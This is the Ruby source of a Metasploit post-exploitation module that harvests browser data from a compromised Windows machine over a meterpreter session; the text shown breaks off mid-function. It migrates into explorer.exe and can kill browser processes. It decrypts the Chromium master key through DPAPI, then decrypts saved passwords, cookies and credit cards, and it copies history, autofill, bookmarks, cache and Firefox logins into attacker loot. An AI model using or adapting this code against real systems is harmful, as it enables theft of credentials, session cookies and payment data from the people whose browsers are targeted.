938 lines
33 KiB
Ruby
938 lines
33 KiB
Ruby
require 'sqlite3'
|
|
|
|
class MetasploitModule < Msf::Post
|
|
include Msf::Post::File
|
|
include Msf::Post::Windows::UserProfiles
|
|
|
|
IV_SIZE = 12
|
|
TAG_SIZE = 16
|
|
|
|
def initialize(info = {})
|
|
super(
|
|
update_info(
|
|
info,
|
|
'Name' => 'Advanced Browser Data Extraction for Chromium and Gecko Browsers',
|
|
'Description' => %q{
|
|
This post-exploitation module extracts sensitive browser data from both Chromium-based and Gecko-based browsers
|
|
on the target system. It supports the decryption of passwords and cookies using Windows Data Protection API (DPAPI)
|
|
and can extract additional data such as browsing history, keyword search history, download history, autofill data,
|
|
credit card information, browser cache and installed extensions.
|
|
},
|
|
'License' => MSF_LICENSE,
|
|
'Platform' => ['win'],
|
|
'Arch' => [ ARCH_X64, ARCH_X86 ],
|
|
'Targets' => [['Windows', {}]],
|
|
'SessionTypes' => ['meterpreter'],
|
|
'Author' => ['Alexander "xaitax" Hagenah'],
|
|
'Notes' => {
|
|
'Stability' => [CRASH_SAFE],
|
|
'Reliability' => [],
|
|
'SideEffects' => [IOC_IN_LOGS, ARTIFACTS_ON_DISK]
|
|
}
|
|
)
|
|
)
|
|
|
|
register_options([
|
|
OptBool.new('KILL_BROWSER', [false, 'Kill browser processes before extracting data.', false]),
|
|
OptBool.new('USER_MIGRATION', [false, 'Migrate to explorer.exe running under user context before extraction.', false]),
|
|
OptString.new('BROWSER_TYPE', [true, 'Specify which browser to extract data from. Accepts "all" to process all browsers, "chromium" for Chromium-based browsers, "gecko" for Gecko-based browsers, or a specific browser name (e.g., "chrome", "edge", "firefox").', 'all']),
|
|
OptBool.new('EXTRACT_CACHE', [false, 'Extract browser cache (may take a long time). It is recommended to set "KILL_BROWSER" to "true" for best results, as this prevents file access issues.', false])
|
|
])
|
|
end
|
|
|
|
def run
|
|
if session.type != 'meterpreter'
|
|
print_error('This module requires a meterpreter session.')
|
|
return
|
|
end
|
|
|
|
user_account = session.sys.config.getuid
|
|
|
|
if user_account.downcase.include?('nt authority\\system')
|
|
if datastore['USER_MIGRATION']
|
|
migrate_to_explorer
|
|
else
|
|
print_error('Session is running as SYSTEM. Use the Meterpreter migrate command or set USER_MIGRATION to true to switch to a user context.')
|
|
return
|
|
end
|
|
end
|
|
|
|
sysinfo = session.sys.config.sysinfo
|
|
os = sysinfo['OS']
|
|
architecture = sysinfo['Architecture']
|
|
language = sysinfo['System Language']
|
|
computer = sysinfo['Computer']
|
|
|
|
user_profile = get_env('USERPROFILE')
|
|
user_account = session.sys.config.getuid
|
|
ip_address = session.sock.peerhost
|
|
|
|
if user_profile.nil? || user_profile.empty?
|
|
print_error('Could not determine the current user profile directory.')
|
|
return
|
|
end
|
|
|
|
print_status("Targeting: #{user_account} (IP: #{ip_address})")
|
|
print_status("System Information: #{computer} | OS: #{os} | Arch: #{architecture} | Lang: #{language}")
|
|
print_status("Starting data extraction from user profile: #{user_profile}")
|
|
print_status('')
|
|
|
|
case datastore['BROWSER_TYPE'].downcase
|
|
when 'chromium'
|
|
process_chromium_browsers(user_profile)
|
|
when 'gecko'
|
|
process_gecko_browsers(user_profile)
|
|
when 'all'
|
|
process_chromium_browsers(user_profile)
|
|
process_gecko_browsers(user_profile)
|
|
else
|
|
process_specific_browser(user_profile, datastore['BROWSER_TYPE'])
|
|
end
|
|
end
|
|
|
|
def migrate_to_explorer
|
|
current_pid = session.sys.process.getpid
|
|
explorer_process = session.sys.process.get_processes.find { |p| p['name'].downcase == 'explorer.exe' }
|
|
|
|
if explorer_process
|
|
explorer_pid = explorer_process['pid']
|
|
if explorer_pid == current_pid
|
|
print_status("Already running in explorer.exe (PID: #{explorer_pid}). No need to migrate.")
|
|
return
|
|
end
|
|
|
|
print_status("Found explorer.exe running with PID: #{explorer_pid}. Attempting migration.")
|
|
|
|
begin
|
|
session.core.migrate(explorer_pid)
|
|
print_good("Successfully migrated to explorer.exe (PID: #{explorer_pid}).")
|
|
rescue Rex::Post::Meterpreter::RequestError => e
|
|
print_error("Failed to migrate to explorer.exe (PID: #{explorer_pid}). Error: #{e.message}")
|
|
end
|
|
else
|
|
print_error('explorer.exe process not found. Migration aborted.')
|
|
end
|
|
end
|
|
|
|
def chromium_browsers
|
|
{
|
|
'Microsoft\\Edge\\' => 'Microsoft Edge',
|
|
'Google\\Chrome\\' => 'Google Chrome',
|
|
'Opera Software\\Opera Stable' => 'Opera',
|
|
'Iridium\\' => 'Iridium',
|
|
'Chromium\\' => 'Chromium',
|
|
'BraveSoftware\\Brave-Browser\\' => 'Brave',
|
|
'CentBrowser\\' => 'CentBrowser',
|
|
'Chedot\\' => 'Chedot',
|
|
'Orbitum\\' => 'Orbitum',
|
|
'Comodo\\Dragon\\' => 'Comodo Dragon',
|
|
'Yandex\\YandexBrowser\\' => 'Yandex Browser',
|
|
'7Star\\7Star\\' => '7Star',
|
|
'Torch\\' => 'Torch',
|
|
'MapleStudio\\ChromePlus\\' => 'ChromePlus',
|
|
'Kometo\\' => 'Komet',
|
|
'Amigo\\' => 'Amigo',
|
|
'Sputnik\\Sputnik\\' => 'Sputnik',
|
|
'CatalinaGroup\\Citrio\\' => 'Citrio',
|
|
'360Chrome\\Chrome\\' => '360Chrome',
|
|
'uCozMedia\\Uran\\' => 'Uran',
|
|
'liebao\\' => 'Liebao',
|
|
'Elements Browser\\' => 'Elements Browser',
|
|
'Epic Privacy Browser\\' => 'Epic Privacy Browser',
|
|
'CocCoc\\Browser\\' => 'CocCoc Browser',
|
|
'Fenrir Inc\\Sleipnir5\\setting\\modules\\ChromiumViewer' => 'Sleipnir',
|
|
'QIP Surf\\' => 'QIP Surf',
|
|
'Coowon\\Coowon\\' => 'Coowon',
|
|
'Vivaldi\\' => 'Vivaldi'
|
|
}
|
|
end
|
|
|
|
def gecko_browsers
|
|
{
|
|
'Mozilla\\Firefox\\' => 'Mozilla Firefox',
|
|
'Thunderbird\\' => 'Thunderbird',
|
|
'Mozilla\\SeaMonkey\\' => 'SeaMonkey',
|
|
'NETGATE Technologies\\BlackHawk\\' => 'BlackHawk',
|
|
'8pecxstudios\\Cyberfox\\' => 'Cyberfox',
|
|
'K-Meleon\\' => 'K-Meleon',
|
|
'Mozilla\\icecat\\' => 'Icecat',
|
|
'Moonchild Productions\\Pale Moon\\' => 'Pale Moon',
|
|
'Comodo\\IceDragon\\' => 'Comodo IceDragon',
|
|
'Waterfox\\' => 'Waterfox',
|
|
'Postbox\\' => 'Postbox',
|
|
'Flock\\Browser\\' => 'Flock Browser'
|
|
}
|
|
end
|
|
|
|
def process_specific_browser(user_profile, browser_type)
|
|
found = false
|
|
browser_type_downcase = browser_type.downcase
|
|
|
|
chromium_browsers.each do |path, name|
|
|
next unless name.downcase.include?(browser_type_downcase)
|
|
|
|
print_status("Processing Chromium-based browser: #{name}")
|
|
process_chromium_browsers(user_profile, { path => name })
|
|
found = true
|
|
break
|
|
end
|
|
|
|
gecko_browsers.each do |path, name|
|
|
next unless name.downcase.include?(browser_type_downcase)
|
|
|
|
print_status("Processing Gecko-based browser: #{name}")
|
|
process_gecko_browsers(user_profile, { path => name })
|
|
found = true
|
|
break
|
|
end
|
|
|
|
unless found
|
|
print_error("No browser matching '#{browser_type}' found.")
|
|
end
|
|
end
|
|
|
|
def process_chromium_browsers(user_profile, browsers = chromium_browsers)
|
|
browsers.each do |path, name|
|
|
if name == 'Opera'
|
|
profile_path = "#{user_profile}\\AppData\\Roaming\\#{path}\\Default"
|
|
local_state = "#{user_profile}\\AppData\\Roaming\\#{path}\\Local State"
|
|
else
|
|
profile_path = "#{user_profile}\\AppData\\Local\\#{path}\\User Data\\Default"
|
|
browser_version_path = "#{user_profile}\\AppData\\Local\\#{path}\\User Data\\Last Version"
|
|
local_state = "#{user_profile}\\AppData\\Local\\#{path}\\User Data\\Local State"
|
|
end
|
|
|
|
next unless directory?(profile_path)
|
|
|
|
browser_version = get_chromium_version(browser_version_path)
|
|
print_good("Found #{name}#{browser_version ? " (Version: #{browser_version})" : ''}")
|
|
|
|
kill_browser_process(name) if datastore['KILL_BROWSER']
|
|
|
|
if datastore['EXTRACT_CACHE']
|
|
process_chromium_cache(profile_path, name)
|
|
end
|
|
|
|
encryption_key = get_chromium_encryption_key(local_state)
|
|
extract_chromium_data(profile_path, encryption_key, name)
|
|
end
|
|
end
|
|
|
|
def get_chromium_version(last_version_path)
|
|
return nil unless file?(last_version_path)
|
|
|
|
version = read_file(last_version_path).strip
|
|
return version unless version.empty?
|
|
|
|
nil
|
|
end
|
|
|
|
def process_gecko_browsers(user_profile, browsers = gecko_browsers)
|
|
browsers.each do |path, name|
|
|
profile_path = "#{user_profile}\\AppData\\Roaming\\#{path}\\Profiles"
|
|
next unless directory?(profile_path)
|
|
|
|
found_browser = false
|
|
|
|
session.fs.dir.entries(profile_path).each do |profile_dir|
|
|
next if profile_dir == '.' || profile_dir == '..'
|
|
|
|
prefs_file = "#{profile_path}\\#{profile_dir}\\prefs.js"
|
|
browser_version = get_gecko_version(prefs_file)
|
|
|
|
unless found_browser
|
|
print_good("Found #{name}#{browser_version ? " (Version: #{browser_version})" : ''}")
|
|
found_browser = true
|
|
end
|
|
|
|
kill_browser_process(name) if datastore['KILL_BROWSER']
|
|
|
|
if datastore['EXTRACT_CACHE']
|
|
process_gecko_cache("#{profile_path}\\#{profile_dir}", name)
|
|
end
|
|
|
|
extract_gecko_data("#{profile_path}\\#{profile_dir}", name)
|
|
end
|
|
end
|
|
end
|
|
|
|
def get_gecko_version(prefs_file)
|
|
return nil unless file?(prefs_file)
|
|
|
|
version_line = read_file(prefs_file).lines.find { |line| line.include?('extensions.lastAppVersion') }
|
|
|
|
if version_line && version_line =~ /"extensions\.lastAppVersion",\s*"(\d+\.\d+\.\d+)"/
|
|
return Regexp.last_match(1)
|
|
end
|
|
|
|
nil
|
|
end
|
|
|
|
def kill_browser_process(browser)
|
|
browser_process_names = {
|
|
'Microsoft Edge' => 'msedge.exe',
|
|
'Google Chrome' => 'chrome.exe',
|
|
'Opera' => 'opera.exe',
|
|
'Iridium' => 'iridium.exe',
|
|
'Chromium' => 'chromium.exe',
|
|
'Brave' => 'brave.exe',
|
|
'CentBrowser' => 'centbrowser.exe',
|
|
'Chedot' => 'chedot.exe',
|
|
'Orbitum' => 'orbitum.exe',
|
|
'Comodo Dragon' => 'dragon.exe',
|
|
'Yandex Browser' => 'browser.exe',
|
|
'7Star' => '7star.exe',
|
|
'Torch' => 'torch.exe',
|
|
'ChromePlus' => 'chromeplus.exe',
|
|
'Komet' => 'komet.exe',
|
|
'Amigo' => 'amigo.exe',
|
|
'Sputnik' => 'sputnik.exe',
|
|
'Citrio' => 'citrio.exe',
|
|
'360Chrome' => '360chrome.exe',
|
|
'Uran' => 'uran.exe',
|
|
'Liebao' => 'liebao.exe',
|
|
'Elements Browser' =>
|
|
'elementsbrowser.exe',
|
|
'Epic Privacy Browser' => 'epic.exe',
|
|
'CocCoc Browser' => 'browser.exe',
|
|
'Sleipnir' => 'sleipnir.exe',
|
|
'QIP Surf' => 'qipsurf.exe',
|
|
'Coowon' => 'coowon.exe',
|
|
'Vivaldi' => 'vivaldi.exe'
|
|
}
|
|
|
|
process_name = browser_process_names[browser]
|
|
return unless process_name
|
|
|
|
session.sys.process.get_processes.each do |process|
|
|
next unless process['name'].downcase == process_name.downcase
|
|
|
|
begin
|
|
session.sys.process.kill(process['pid'])
|
|
rescue Rex::Post::Meterpreter::RequestError
|
|
next
|
|
end
|
|
end
|
|
|
|
sleep(5)
|
|
end
|
|
|
|
def decrypt_chromium_data(encrypted_data)
|
|
vprint_status('Starting DPAPI decryption process.')
|
|
begin
|
|
mem = session.railgun.kernel32.LocalAlloc(0, encrypted_data.length)['return']
|
|
raise 'Memory allocation failed.' if mem == 0
|
|
|
|
session.railgun.memwrite(mem, encrypted_data)
|
|
|
|
if session.arch == ARCH_X86
|
|
inout_fmt = 'V2'
|
|
elsif session.arch == ARCH_X64
|
|
inout_fmt = 'Q2'
|
|
else
|
|
fail_with(Failure::NoTarget, "Unsupported architecture: #{session.arch}")
|
|
end
|
|
|
|
pdatain = [encrypted_data.length, mem].pack(inout_fmt)
|
|
ret = session.railgun.crypt32.CryptUnprotectData(
|
|
pdatain, nil, nil, nil, nil, 0, 2048
|
|
)
|
|
len, addr = ret['pDataOut'].unpack(inout_fmt)
|
|
decrypted_data = len == 0 ? nil : session.railgun.memread(addr, len)
|
|
|
|
vprint_good('Decryption successful.')
|
|
return decrypted_data.strip
|
|
rescue StandardError => e
|
|
vprint_error("Error during DPAPI decryption: #{e.message}")
|
|
return nil
|
|
ensure
|
|
session.railgun.kernel32.LocalFree(mem) if mem != 0
|
|
session.railgun.kernel32.LocalFree(addr) if addr != 0
|
|
end
|
|
end
|
|
|
|
def get_chromium_encryption_key(local_state_path)
|
|
vprint_status("Getting encryption key from: #{local_state_path}")
|
|
if file?(local_state_path)
|
|
local_state = read_file(local_state_path)
|
|
json_state = begin
|
|
JSON.parse(local_state)
|
|
rescue StandardError
|
|
nil
|
|
end
|
|
if json_state.nil?
|
|
print_error('Failed to parse JSON from Local State file.')
|
|
return nil
|
|
end
|
|
|
|
if json_state['os_crypt'] && json_state['os_crypt']['encrypted_key']
|
|
encrypted_key = json_state['os_crypt']['encrypted_key']
|
|
encrypted_key_bin = begin
|
|
Rex::Text.decode_base64(encrypted_key)[5..]
|
|
rescue StandardError
|
|
nil
|
|
end
|
|
if encrypted_key_bin.nil?
|
|
print_error('Failed to Base64 decode the encrypted key.')
|
|
return nil
|
|
end
|
|
|
|
vprint_status("Encrypted key (Base64-decoded, hex): #{encrypted_key_bin.unpack('H*').first}")
|
|
decrypted_key = decrypt_chromium_data(encrypted_key_bin)
|
|
|
|
if decrypted_key.nil? || decrypted_key.length != 32
|
|
vprint_error("Decrypted key is not 32 bytes: #{decrypted_key.nil? ? 'nil' : decrypted_key.length} bytes")
|
|
if decrypted_key.length == 31
|
|
vprint_status('Decrypted key is 31 bytes, attempting to pad key for decryption.')
|
|
decrypted_key += "\x00"
|
|
else
|
|
return nil
|
|
end
|
|
end
|
|
vprint_good("Decrypted key (hex): #{decrypted_key.unpack('H*').first}")
|
|
return decrypted_key
|
|
else
|
|
print_error('os_crypt or encrypted_key not found in Local State.')
|
|
return nil
|
|
end
|
|
else
|
|
print_error("Local State file not found at: #{local_state_path}")
|
|
return nil
|
|
end
|
|
end
|
|
|
|
def decrypt_chromium_password(encrypted_password, key)
|
|
@app_bound_encryption_detected ||= false
|
|
@password_decryption_failed ||= false
|
|
|
|
# Check for the "v20" prefix that indicates App-Bound encryption, which can't be decrypted yet.
|
|
# https://security.googleblog.com/2024/07/improving-security-of-chrome-cookies-on.html
|
|
if encrypted_password[0, 3] == 'v20'
|
|
unless @app_bound_encryption_detected
|
|
vprint_status('Detected entries using App-Bound encryption (v20). These entries will not be decrypted.')
|
|
@app_bound_encryption_detected = true
|
|
end
|
|
return nil
|
|
end
|
|
|
|
if encrypted_password.nil? || encrypted_password.length < (IV_SIZE + TAG_SIZE + 3)
|
|
vprint_error('Invalid encrypted password length.')
|
|
return nil
|
|
end
|
|
|
|
iv = encrypted_password[3, IV_SIZE]
|
|
ciphertext = encrypted_password[IV_SIZE + 3...-TAG_SIZE]
|
|
tag = encrypted_password[-TAG_SIZE..]
|
|
|
|
if iv.nil? || iv.length != IV_SIZE
|
|
vprint_error("Invalid IV: expected #{IV_SIZE} bytes, got #{iv.nil? ? 'nil' : iv.length} bytes")
|
|
return nil
|
|
end
|
|
|
|
begin
|
|
aes = OpenSSL::Cipher.new('aes-256-gcm')
|
|
aes.decrypt
|
|
aes.key = key
|
|
aes.iv = iv
|
|
aes.auth_tag = tag
|
|
decrypted_password = aes.update(ciphertext) + aes.final
|
|
return decrypted_password
|
|
rescue OpenSSL::Cipher::CipherError
|
|
unless @password_decryption_failed
|
|
vprint_status('Password decryption failed for one or more entries. These entries could not be decrypted.')
|
|
@password_decryption_failed = true
|
|
end
|
|
return nil
|
|
end
|
|
end
|
|
|
|
def extract_chromium_data(profile_path, encryption_key, browser)
|
|
return print_error("Profile path #{profile_path} not found.") unless directory?(profile_path)
|
|
|
|
process_chromium_logins(profile_path, encryption_key, browser)
|
|
process_chromium_cookies(profile_path, encryption_key, browser)
|
|
process_chromium_credit_cards(profile_path, encryption_key, browser)
|
|
process_chromium_download_history(profile_path, browser)
|
|
process_chromium_autofill_data(profile_path, browser)
|
|
process_chromium_keyword_search_history(profile_path, browser)
|
|
process_chromium_browsing_history(profile_path, browser)
|
|
process_chromium_bookmarks(profile_path, browser)
|
|
process_chromium_extensions(profile_path, browser)
|
|
end
|
|
|
|
def process_chromium_logins(profile_path, encryption_key, browser)
|
|
login_data_path = "#{profile_path}\\Login Data"
|
|
if file?(login_data_path)
|
|
extract_sql_data(login_data_path, 'SELECT origin_url, username_value, password_value FROM logins', 'Passwords', browser, encryption_key)
|
|
else
|
|
vprint_error("Passwords not found at #{login_data_path}")
|
|
end
|
|
end
|
|
|
|
def process_chromium_cookies(profile_path, encryption_key, browser)
|
|
cookies_path = "#{profile_path}\\Network\\Cookies"
|
|
if file?(cookies_path)
|
|
begin
|
|
extract_sql_data(cookies_path, 'SELECT host_key, name, path, encrypted_value FROM cookies', 'Cookies', browser, encryption_key)
|
|
rescue StandardError => e
|
|
if e.message.include?('core_channel_open')
|
|
print_error('└ Cannot access Cookies. File in use by another process.')
|
|
else
|
|
print_error("└ An error occurred while extracting cookies: #{e.message}")
|
|
end
|
|
end
|
|
else
|
|
vprint_error("└ Cookies not found at #{cookies_path}")
|
|
end
|
|
end
|
|
|
|
def process_chromium_credit_cards(profile_path, encryption_key, browser)
|
|
credit_card_data_path = "#{profile_path}\\Web Data"
|
|
if file?(credit_card_data_path)
|
|
extract_sql_data(credit_card_data_path, 'SELECT * FROM credit_cards', 'Credit Cards', browser, encryption_key)
|
|
else
|
|
vprint_error("Credit Cards not found at #{credit_card_data_path}")
|
|
end
|
|
end
|
|
|
|
def process_chromium_download_history(profile_path, browser)
|
|
download_history_path = "#{profile_path}\\History"
|
|
if file?(download_history_path)
|
|
extract_sql_data(download_history_path, 'SELECT * FROM downloads', 'Download History', browser)
|
|
else
|
|
vprint_error("Download History not found at #{download_history_path}")
|
|
end
|
|
end
|
|
|
|
def process_chromium_autofill_data(profile_path, browser)
|
|
autofill_data_path = "#{profile_path}\\Web Data"
|
|
if file?(autofill_data_path)
|
|
extract_sql_data(autofill_data_path, 'SELECT * FROM autofill', 'Autofill Data', browser)
|
|
else
|
|
vprint_error("Autofill data not found at #{autofill_data_path}")
|
|
end
|
|
end
|
|
|
|
def process_chromium_keyword_search_history(profile_path, browser)
|
|
keyword_search_history_path = "#{profile_path}\\History"
|
|
if file?(keyword_search_history_path)
|
|
extract_sql_data(keyword_search_history_path, 'SELECT term FROM keyword_search_terms', 'Keyword Search History', browser)
|
|
else
|
|
vprint_error("Keyword Search History not found at #{keyword_search_history_path}")
|
|
end
|
|
end
|
|
|
|
def process_chromium_browsing_history(profile_path, browser)
|
|
browsing_history_path = "#{profile_path}\\History"
|
|
if file?(browsing_history_path)
|
|
extract_sql_data(browsing_history_path, 'SELECT url, title, visit_count, last_visit_time FROM urls', 'Browsing History', browser)
|
|
else
|
|
vprint_error("Browsing History not found at #{browsing_history_path}")
|
|
end
|
|
end
|
|
|
|
def process_chromium_bookmarks(profile_path, browser)
|
|
bookmarks_path = "#{profile_path}\\Bookmarks"
|
|
return unless file?(bookmarks_path)
|
|
|
|
bookmarks_data = read_file(bookmarks_path)
|
|
bookmarks_json = JSON.parse(bookmarks_data)
|
|
|
|
bookmarks = []
|
|
if bookmarks_json['roots']['bookmark_bar']
|
|
traverse_and_collect_bookmarks(bookmarks_json['roots']['bookmark_bar'], bookmarks)
|
|
end
|
|
if bookmarks_json['roots']['other']
|
|
traverse_and_collect_bookmarks(bookmarks_json['roots']['other'], bookmarks)
|
|
end
|
|
|
|
if bookmarks.any?
|
|
browser_clean = browser.gsub('\\', '_').chomp('_')
|
|
timestamp = Time.now.strftime('%Y%m%d%H%M')
|
|
ip = session.sock.peerhost
|
|
bookmark_entries = JSON.pretty_generate(bookmarks)
|
|
file_name = store_loot("#{browser_clean}_Bookmarks", 'application/json', session, bookmark_entries, "#{timestamp}_#{ip}_#{browser_clean}_Bookmarks.json", "#{browser_clean} Bookmarks")
|
|
|
|
print_good("└ Bookmarks extracted to #{file_name} (#{bookmarks.length} entries)")
|
|
else
|
|
vprint_error("No bookmarks found for #{browser}.")
|
|
end
|
|
end
|
|
|
|
def traverse_and_collect_bookmarks(bookmark_node, bookmarks)
|
|
if bookmark_node['children']
|
|
bookmark_node['children'].each do |child|
|
|
if child['type'] == 'url'
|
|
bookmarks << { name: child['name'], url: child['url'] }
|
|
elsif child['type'] == 'folder' && child['children']
|
|
traverse_and_collect_bookmarks(child, bookmarks)
|
|
end
|
|
end
|
|
end
|
|
end
|
|
|
|
def process_chromium_extensions(profile_path, browser)
|
|
extensions_dir = "#{profile_path}\\Extensions\\"
|
|
return unless directory?(extensions_dir)
|
|
|
|
extensions = []
|
|
session.fs.dir.entries(extensions_dir).each do |extension_id|
|
|
extension_path = "#{extensions_dir}\\#{extension_id}"
|
|
next unless directory?(extension_path)
|
|
|
|
session.fs.dir.entries(extension_path).each do |version_folder|
|
|
next if version_folder == '.' || version_folder == '..'
|
|
|
|
manifest_path = "#{extension_path}\\#{version_folder}\\manifest.json"
|
|
next unless file?(manifest_path)
|
|
|
|
manifest_data = read_file(manifest_path)
|
|
manifest_json = JSON.parse(manifest_data)
|
|
|
|
extension_name = manifest_json['name']
|
|
extension_version = manifest_json['version']
|
|
|
|
if extension_name.start_with?('__MSG_')
|
|
extension_name = resolve_chromium_extension_name(extension_path, extension_name, version_folder)
|
|
end
|
|
|
|
extensions << { 'name' => extension_name, 'version' => extension_version }
|
|
end
|
|
end
|
|
|
|
if extensions.any?
|
|
browser_clean = browser.gsub('\\', '_').chomp('_')
|
|
timestamp = Time.now.strftime('%Y%m%d%H%M')
|
|
ip = session.sock.peerhost
|
|
file_name = store_loot("#{browser_clean}_Extensions", 'application/json', session, "#{JSON.pretty_generate(extensions)}\n", "#{timestamp}_#{ip}_#{browser_clean}_Extensions.json", "#{browser_clean} Extensions")
|
|
print_good("└ Extensions extracted to #{file_name} (#{extensions.count} entries)")
|
|
else
|
|
vprint_error("No extensions found for #{browser}.")
|
|
end
|
|
end
|
|
|
|
def resolve_chromium_extension_name(extension_path, name_key, version_folder)
|
|
resolved_key = name_key.gsub('__MSG_', '').gsub('__', '')
|
|
|
|
locales_dir = "#{extension_path}\\#{version_folder}\\_locales"
|
|
unless directory?(locales_dir)
|
|
return name_key
|
|
end
|
|
|
|
english_messages_path = "#{locales_dir}\\en\\messages.json"
|
|
if file?(english_messages_path)
|
|
messages_data = read_file(english_messages_path)
|
|
messages_json = JSON.parse(messages_data)
|
|
|
|
messages_json.each do |key, value|
|
|
if key.casecmp?(resolved_key) && value['message']
|
|
return value['message']
|
|
end
|
|
end
|
|
return name_key
|
|
end
|
|
|
|
session.fs.dir.entries(locales_dir).each do |locale_folder|
|
|
next if locale_folder == '.' || locale_folder == '..' || locale_folder == 'en'
|
|
|
|
messages_path = "#{locales_dir}\\#{locale_folder}\\messages.json"
|
|
next unless file?(messages_path)
|
|
|
|
messages_data = read_file(messages_path)
|
|
messages_json = JSON.parse(messages_data)
|
|
|
|
messages_json.each do |key, value|
|
|
if key.casecmp?(resolved_key) && value['message']
|
|
return value['message']
|
|
end
|
|
end
|
|
end
|
|
|
|
return name_key
|
|
end
|
|
|
|
def process_chromium_cache(profile_path, browser)
|
|
cache_dir = "#{profile_path}\\Cache\\"
|
|
return unless directory?(cache_dir)
|
|
|
|
total_size = 0
|
|
file_count = 0
|
|
files_to_zip = []
|
|
|
|
session.fs.dir.foreach(cache_dir) do |subdir|
|
|
next if subdir == '.' || subdir == '..'
|
|
|
|
subdir_path = "#{cache_dir}\\#{subdir}"
|
|
|
|
if directory?(subdir_path)
|
|
session.fs.dir.foreach(subdir_path) do |file|
|
|
next if file == '.' || file == '..'
|
|
|
|
file_path = "#{subdir_path}\\#{file}"
|
|
|
|
if file?(file_path)
|
|
file_stat = session.fs.file.stat(file_path)
|
|
file_size = file_stat.stathash['st_size']
|
|
total_size += file_size
|
|
file_count += 1
|
|
files_to_zip << file_path
|
|
end
|
|
end
|
|
end
|
|
end
|
|
|
|
print_status("#{file_count} cache files found for #{browser}, total size: #{total_size / 1024} KB")
|
|
|
|
if file_count > 0
|
|
temp_dir = session.fs.file.expand_path('%TEMP%')
|
|
random_name = Rex::Text.rand_text_alpha(8)
|
|
zip_file_path = "#{temp_dir}\\#{random_name}.zip"
|
|
|
|
zip = Rex::Zip::Archive.new
|
|
progress_interval = (file_count / 10.0).ceil
|
|
|
|
files_to_zip.each_with_index do |file, index|
|
|
file_content = read_file(file)
|
|
zip.add_file(file, file_content) if file_content
|
|
|
|
if (index + 1) % progress_interval == 0 || index == file_count - 1
|
|
progress_percent = ((index + 1) * 100 / file_count).to_i
|
|
print_status("Zipping progress: #{progress_percent}% (#{index + 1}/#{file_count} files processed)")
|
|
end
|
|
end
|
|
|
|
write_file(zip_file_path, zip.pack)
|
|
print_status("Cache for #{browser} zipped to: #{zip_file_path}")
|
|
|
|
browser_clean = browser.gsub('\\', '_').chomp('_')
|
|
timestamp = Time.now.strftime('%Y%m%d%H%M')
|
|
ip = session.sock.peerhost
|
|
cache_local_path = store_loot(
|
|
"#{browser_clean}_Cache",
|
|
'application/zip',
|
|
session,
|
|
read_file(zip_file_path),
|
|
"#{timestamp}_#{ip}_#{browser_clean}_Cache.zip",
|
|
"#{browser_clean} Cache"
|
|
)
|
|
|
|
file_size = ::File.size(cache_local_path)
|
|
print_good("└ Cache extracted to #{cache_local_path} (#{file_size} bytes)") if file_size > 2
|
|
|
|
session.fs.file.rm(zip_file_path)
|
|
else
|
|
vprint_status("No Cache files found for #{browser}.")
|
|
end
|
|
end
|
|
|
|
def extract_gecko_data(profile_path, browser)
|
|
process_gecko_logins(profile_path, browser)
|
|
process_gecko_cookies(profile_path, browser)
|
|
process_gecko_download_history(profile_path, browser)
|
|
process_gecko_keyword_search_history(profile_path, browser)
|
|
process_gecko_browsing_history(profile_path, browser)
|
|
process_gecko_bookmarks(profile_path, browser)
|
|
process_gecko_extensions(profile_path, browser)
|
|
end
|
|
|
|
def process_gecko_logins(profile_path, browser)
|
|
logins_path = "#{profile_path}\\logins.json"
|
|
return unless file?(logins_path)
|
|
|
|
logins_data = read_file(logins_path)
|
|
logins_json = JSON.parse(logins_data)
|
|
|
|
if logins_json['logins'].any?
|
|
browser_clean = browser.gsub('\\', '_').chomp('_')
|
|
timestamp = Time.now.strftime('%Y%m%d%H%M')
|
|
ip = session.sock.peerhost
|
|
file_name = store_loot("#{browser_clean}_Passwords", 'application/json', session, "#{JSON.pretty_generate(logins_json)}\n", "#{timestamp}_#{ip}_#{browser_clean}_Passwords.json", "#{browser_clean} Passwords")
|
|
|
|
print_good("└ Passwords extracted to #{file_name} (#{logins_json['logins'].length} entries)")
|
|
else
|
|
vprint_error("└ No passwords found for #{browser}.")
|
|
end
|
|
end
|
|
|
|
def process_gecko_cookies(profile_path, browser)
|
|
cookies_path = "#{profile_path}\\cookies.sqlite"
|
|
if file?(cookies_path)
|
|
extract_sql_data(cookies_path, 'SELECT host, name, path, value, expiry FROM moz_cookies', 'Cookies', browser)
|
|
else
|
|
vprint_error("└ Cookies not found at #{cookies_path}")
|
|
end
|
|
end
|
|
|
|
def process_gecko_download_history(profile_path, browser)
|
|
download_history_path = "#{profile_path}\\places.sqlite"
|
|
if file?(download_history_path)
|
|
extract_sql_data(download_history_path, 'SELECT place_id, GROUP_CONCAT(content), url, dateAdded FROM (SELECT * FROM moz_annos INNER JOIN moz_places ON moz_annos.place_id=moz_places.id) t GROUP BY place_id', 'Download History', browser)
|
|
else
|
|
vprint_error("└ Download History not found at #{download_history_path}")
|
|
end
|
|
end
|
|
|
|
def process_gecko_keyword_search_history(profile_path, browser)
|
|
keyword_search_history_path = "#{profile_path}\\formhistory.sqlite"
|
|
if file?(keyword_search_history_path)
|
|
extract_sql_data(keyword_search_history_path, 'SELECT value FROM moz_formhistory', 'Keyword Search History', browser)
|
|
else
|
|
vprint_error("└ Keyword Search History not found at #{keyword_search_history_path}")
|
|
end
|
|
end
|
|
|
|
def process_gecko_browsing_history(profile_path, browser)
|
|
browsing_history_path = "#{profile_path}\\places.sqlite"
|
|
if file?(browsing_history_path)
|
|
extract_sql_data(browsing_history_path, 'SELECT url, title, visit_count, last_visit_date FROM moz_places', 'Browsing History', browser)
|
|
else
|
|
vprint_error("└ Browsing History not found at #{browsing_history_path}")
|
|
end
|
|
end
|
|
|
|
def process_gecko_bookmarks(profile_path, browser)
|
|
bookmarks_path = "#{profile_path}\\places.sqlite"
|
|
if file?(bookmarks_path)
|
|
extract_sql_data(bookmarks_path, 'SELECT moz_bookmarks.title AS title, moz_places.url AS url FROM moz_bookmarks JOIN moz_places ON moz_bookmarks.fk = moz_places.id', 'Bookmarks', browser)
|
|
else
|
|
vprint_error("└ Bookmarks not found at #{bookmarks_path}")
|
|
end
|
|
end
|
|
|
|
def process_gecko_extensions(profile_path, browser)
|
|
addons_path = "#{profile_path}\\addons.json"
|
|
return unless file?(addons_path)
|
|
|
|
addons_data = read_file(addons_path)
|
|
addons_json = JSON.parse(addons_data)
|
|
|
|
extensions = []
|
|
|
|
if addons_json['addons']
|
|
addons_json['addons'].each do |addon|
|
|
extension_name = addon['name']
|
|
extension_version = addon['version']
|
|
